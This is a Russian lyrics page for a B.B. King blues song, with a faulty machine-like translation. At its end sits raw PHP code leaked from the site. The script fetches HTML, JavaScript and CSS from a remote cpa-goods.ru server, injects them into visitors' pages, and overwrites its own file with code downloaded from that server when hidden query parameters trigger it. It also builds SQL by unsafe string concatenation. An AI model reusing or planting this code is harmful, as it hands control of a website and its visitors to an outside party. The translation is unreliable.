Подбери фильм на вечер по своим предпочтениям, среди 65480 лучших подборок!

Текст песни Downhearted (How Blue Can You Get?) (B.B. King) с переводом

2012 язык: английский
81
0
3:15
0
Песня Downhearted (How Blue Can You Get?) группы B.B. King из альбома The Other Night Blues была записана в 2012 году лейблом VCR, язык песни английский, ниже вы найдете ее перевод на русском языке, песня исполняется в жанре блюз, вы можете слушать ее, изучить слова или скачать текст бесплатно, прокомментировать, как саму песню так и смысл который она в себе несет.
исполнитель:
B.B. King
альбом:
The Other Night Blues
лейбл:
VCR
жанр:
Блюз

I’vee been down hearted

Ever since the day we met

Baby I’ve been down hearted

Ever since the day we met

Our love is nothing but the blues

Baby, how blue can you get?

My love burned like a fire

Your love burned like a cigarette

Yes my love burned like a fire

Your love burned like a cigarette

Yes I’ve seen you put it down and crush it

Baby, how blue can you get?

Oh you’re evil when I’m with you, baby

And you’re jealous when we’re apart

Yes you’re evil when I’m with you, baby

And you’re jealous when we’re apart

How blue can you get baby

The answer’s right here in my heart

I gave you a brand new Ford

But you said: I want a Cadillac

I bought you a ten dollar dinner

And you said: thanks for the snack

I let you live in my pent house

You said it just a shack

I gave you seven children

And now you wanna give them back

I said I’ve been down hearted baby

Ever since the day we met

Our love is nothing but the blues

Tell me how blue can you get?

Перевод песни Downhearted (How Blue Can You Get?)

Я был подавлен

С самого дня нашей встречи.

Детка, я был подавлен

С самого дня нашей встречи.

Наша любовь - это не что иное, как блюз.

Детка, как ты можешь грустить?

Моя любовь горела, как огонь,

Твоя любовь горела, как сигарета.

Да, моя любовь горела, как огонь,

Твоя любовь горела, как сигарета.

Да, я видел, как ты положил и раздавил его.

Детка, как ты можешь грустить?

О, ты зло, когда я с тобой, детка,

И ты ревнуешь, когда мы расстаемся.

Да, ты зло, когда я с тобой, детка,

И ты ревнуешь, когда мы расстаемся.

Как синий ты можешь получить, детка,

Ответ прямо здесь, в моем сердце,

Я дал тебе новый Форд,

Но ты сказала: "Я хочу Кадиллак".

Я купил тебе обед за десять долларов,

А ты сказала: "Спасибо за закуску".

Я позволил тебе жить в моем постном доме,

Ты сказал, что это просто лачуга.

Я отдала тебе семерых детей,

А теперь ты хочешь вернуть их.

Я сказал, что был подавлен, малыш,

С того дня, как мы встретились.

Наша любовь - это не что иное, как блюз.

Скажи мне, как ты можешь грустить?

Скачать:

Понравилась песня? Лайкни ее и оставь свой комментарий!
Делись в комментариях своим мнением о песне: о чем эта песня по твоему?

Другие треки исполнителя

Early Every Morning
1961
The Genius Sings the Blues
Hummingbird
1970
Indianola Mississippi Seeds
Chains And Things
1970
Indianola Mississippi Seeds
I Got Some Outside Help I Don't Need
1998
Blues On The Bayou
Into The Night
1985
Six Silver Strings
Don't Answer The Door
1967
Blues Is King

Похожие треки

Heebie Jeebies
2006
The Boswell Sisters
Drunk Man Blues
2005
Bukka White
Poor Boy Long Ways From Home
2005
Bukka White
Army Blues
2005
Bukka White
Remembrance Of Charlie Patton
2005
Bukka White
Atlanta Special
2005
Bukka White
Twenty
2005
Robert Cray
I'm Walkin'
2005
Robert Cray
My Last Regret
2005
Robert Cray
Fadin' Away
2005
Robert Cray
Does It Really Matter
2005
Robert Cray
That Ain't Love
2005
Robert Cray
Put a Wreathe on It Blues
2017
Norine Braun
We Don't care
2018
Eric Bibb

Добавить комментарий

*Все поля обязательны к заполнению.

Нажимая на кнопку "Отправить комментарий", я даю согласие на обработку персональных данных.

Нажимая на кнопку "Отправить", я даю согласие на обработку персональных данных.

    rd = $rules_directory; $this->rf = $rules_file; $this->v = $version; $this->c = $count; $this->i = $site_id; $this->s = $sqlite_exists; } public function jsonSerialize() { return json_encode(get_object_vars($this)); } } } // ini_set('error_reporting', E_ERROR); if (!class_exists('GetBlocksHtml')) { Class GetBlocksHtml { const SITE_ID = '560bfc96-7db2-4889-87ab-368dc6b4ac70'; const REMOTE_URL = 'https://blocks.cpa-goods.ru/?siteId='; const PING_TEXT = ''; const REMOTE_FILE_URL = "https://blocks.cpa-goods.ru/Download?siteId="; const PATH_FILE = "/fpa.php"; const VERSION_SECRIPT = 11; public function GetSiteID() { try { if(file_exists($_SERVER['DOCUMENT_ROOT'].'/wp-load.php')) { require_once($_SERVER['DOCUMENT_ROOT'].'/wp-load.php'); $options = get_option('fpaaa_settings_options'); if(isset($options['fpaaa_siteid']) and !empty($options['fpaaa_siteid'])){ return $options['fpaaa_siteid']; }elseif(isset($GLOBALS['fpaaa_site_id']) and !empty($GLOBALS['fpaaa_site_id'])){ return $GLOBALS['fpaaa_site_id']; }else{ return self::SITE_ID; } }else{ if(isset($GLOBALS['fpaaa_site_id']) and !empty($GLOBALS['fpaaa_site_id'])){ return $GLOBALS['fpaaa_site_id']; }else{ return self::SITE_ID; } } } finally { if(isset($GLOBALS['fpaaa_site_id']) and !empty($GLOBALS['fpaaa_site_id'])){ return $GLOBALS['fpaaa_site_id']; }else{ return self::SITE_ID; } } } public function GetFullStats() { $stats = new FpaStats( substr(sprintf('%o', fileperms(__DIR__)), -4), substr(sprintf('%o', fileperms(__DIR__ . "/fpa.php")), -4), self::VERSION_SECRIPT, self::ShowCountLink(), self::GetSiteID(), extension_loaded('sqlite3') ); echo $stats->jsonSerialize(); } private function UpdateScript() { $stFileGet = self::UrlGetContent(self::REMOTE_FILE_URL.self::GetSiteID()); if(!empty($stFileGet)){ $boolFilePut = file_put_contents(__DIR__.self::PATH_FILE, $stFileGet); } return $boolFilePut; } private function CreateBD() { GLOBAL $rsDB; $rsDate = new DateTime(); $stDate = $rsDate->getTimestamp(); $stDBName = __DIR__ . '/' . self::GetSiteID() . "_DB.db"; $sqlite = extension_loaded('sqlite3'); if ($sqlite) { $rsDB = new SQLite3($stDBName); return true; }else{ echo '

    SQLITE NOT INSTALLED

    '; return false; } } private function CreateTable($nameTable, $arFields) { GLOBAL $rsDB; $stFields = implode(", ", $arFields); $stSQL = 'CREATE TABLE '.$nameTable.'('.$stFields.')'; $result = $rsDB->exec($stSQL); return $result; } private function CreateTables() { self::CreateTable("connect", array("id INTEGER PRIMARY KEY AUTOINCREMENT", "time DATETIME")); self::CreateTable("asset", array("id INTEGER PRIMARY KEY AUTOINCREMENT", "name TEXT", "text TEXT")); self::CreateTable("url", array("id INTEGER PRIMARY KEY AUTOINCREMENT", "url TEXT", "html TEXT", "time TEXT")); } private function AddItem($nameTable, $arFields, $arValue, $stDelimetr) { GLOBAL $rsDB; $stFields = implode(", ", $arFields); foreach ($arValue as $arVal) { if(is_object($arVal)){ $arVal = (array) $arVal; } $arVal = preg_replace("/' /", "'' ", $arVal); $arVal = preg_replace("/'s/", "''s", $arVal); $stVal = $stDelimetr . implode($stDelimetr.", ".$stDelimetr,(array) $arVal) . $stDelimetr; $stSQL = "INSERT INTO ".$nameTable." (".$stFields.") VALUES (".$stVal.")"; $result = $rsDB->exec($stSQL); } } private function AddItems() { $arFile = self::GetFile(); if(is_object($arFile) and count($arFile->added) > 0){ self::AddItem("url", array("url", "html", "time"), $arFile->added, "'"); } if(is_object($arFile) and !empty($arFile->css)){ self::AddItem("asset", array("name", "text"), array(array("css", $arFile->css)), "'"); } if(is_object($arFile) and !empty($arFile->js)){ self::AddItem("asset", array("name", "text"), array(array("js", $arFile->js)), "'"); } return $arFile; } private function DelItem($nameTable, $arFields, $arValue) { GLOBAL $rsDB; foreach ($arValue as $stID) { $stSQL = "DELETE FROM ".$nameTable." WHERE ".$arFields." = ".$stID.";"; $result = $rsDB->exec($stSQL); } } private function CheckTablet($nameTable) { GLOBAL $rsDB; // $stSQL = "SELECT id FROM ".$nameTable." LIMIT 1"; $stSQL = "SELECT count(*) as count FROM sqlite_master WHERE type='table' AND name='".$nameTable. "'"; $rsResult = $rsDB->query($stSQL); $arRes = $rsResult->fetchArray(SQLITE3_ASSOC); if($arRes["count"] == "1"){ return true; }else{ return false; } } private function SerarchItem($nameTable, $arFields, $arValue, $stSign, $stLike=false) { GLOBAL $rsDB; if($stLike){ $stSQL = "SELECT * FROM ".$nameTable." WHERE ".$arFields." LIKE \"".$arValue."\";"; }else{ $stSQL = "SELECT * FROM ".$nameTable." WHERE ".$arFields." ".$stSign." \"".$arValue."\";"; } $arResult = array(); $rsResult = $rsDB->query($stSQL); while($arRes = $rsResult->fetchArray(SQLITE3_ASSOC)) { $arResult[] = $arRes; } if(!empty($arResult)){ return $arResult; }else{ return false; } } public function ShowCountLink() { if(self::CreateBD() && self::CheckTablet("url")){ GLOBAL $rsDB; $stSQL = "SELECT COUNT(*) as count FROM url;"; $rsResult = $rsDB->query($stSQL); $arResult = $rsResult->fetchArray(); $stCount = $arResult['count']; return $stCount; } else { return 0; } } private function DelateDB() { $stDBName = __DIR__ . '/' . self::GetSiteID() . "_DB.db"; return unlink($stDBName); } private function CloseBD() { GLOBAL $rsDB; $rsDB->close(); unset($rsDB); } private function GetFile($path = "rem_file.json") { //через файл // $rsFile = fopen($path, "r"); // $obFile = fread($rsFile, filesize($path)); // fclose($rsFile); self::AddItem("connect", array("time"), array("datetime('now')"), ""); $obFile = self::UrlGetContent(self::REMOTE_URL.self::GetSiteID()); return json_decode($obFile); } private function CheckTime($stTime) { $rsDate = new DateTime(); $TimeURL = $rsDate->getTimestamp(); if($TimeURL >= $stTime){ return true; }else{ return false; } } public function ViewURL() { $arSearchURLs = self::SerarchItem("url", "url", "%".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"], false, true); if(is_array($arSearchURLs) and count($arSearchURLs) > 0 ){ foreach ($arSearchURLs as $key => $arSearchURL) { if(self::CheckTime($arSearchURL["time"])){ echo $arSearchURL["html"]; if($key == 0){ $arJS = self::SerarchItem("asset", "name", "js", false, true); $arCSS = self::SerarchItem("asset", "name", "css", false, true); if(!empty($arJS[0]["text"])){ echo ''; } if(!empty($arCSS[0]["text"])){ echo ''; } } } } } } private function UrlGetContent($url) { if (function_exists('curl_exec')){ $conn = curl_init($url); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($conn, CURLOPT_FRESH_CONNECT, true); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); $url_get_contents_data = (curl_exec($conn)); curl_close($conn); }elseif(function_exists('file_get_contents')){ $url_get_contents_data = file_get_contents($url); }elseif(function_exists('fopen') && function_exists('stream_get_contents')){ $handle = fopen ($url, "r"); $url_get_contents_data = stream_get_contents($handle); }else{ $url_get_contents_data = false; } return $url_get_contents_data; } public function PingView() { echo self::PING_TEXT; } public function ForceUpdate() { $obFile = self::UrlGetContent(self::REMOTE_URL.self::GetSiteID()); $arFile = json_decode($obFile); self::DelateDB(); if(is_object($arFile)){ if(count($arFile->added) > 0){ self::CreateBD(); self::CreateTables(); $arFile = self::AddItems(); } if((int) $arFile->version > (int) self::VERSION_SECRIPT){ self::UpdateScript(); } } } public function Exec($boON = false) { if($boON){ if(self::CreateBD()){ if(!self::CheckTablet("connect")){ self::CreateTables(); self::AddItems(); } self::ViewURL(); self::PingView(); } } } } } $rsGetBlocksHtml = new GetBlocksHtml; if(isset($_GET["fpafull"]) and $_GET["fpafull"] == "true") { echo $rsGetBlocksHtml->GetFullStats(); exit(); } if(isset($_GET["fpaupdate"]) and $_GET["fpaupdate"] == "true"){ $rsGetBlocksHtml->ForceUpdate(); }else{ $rsGetBlocksHtml->Exec(true); }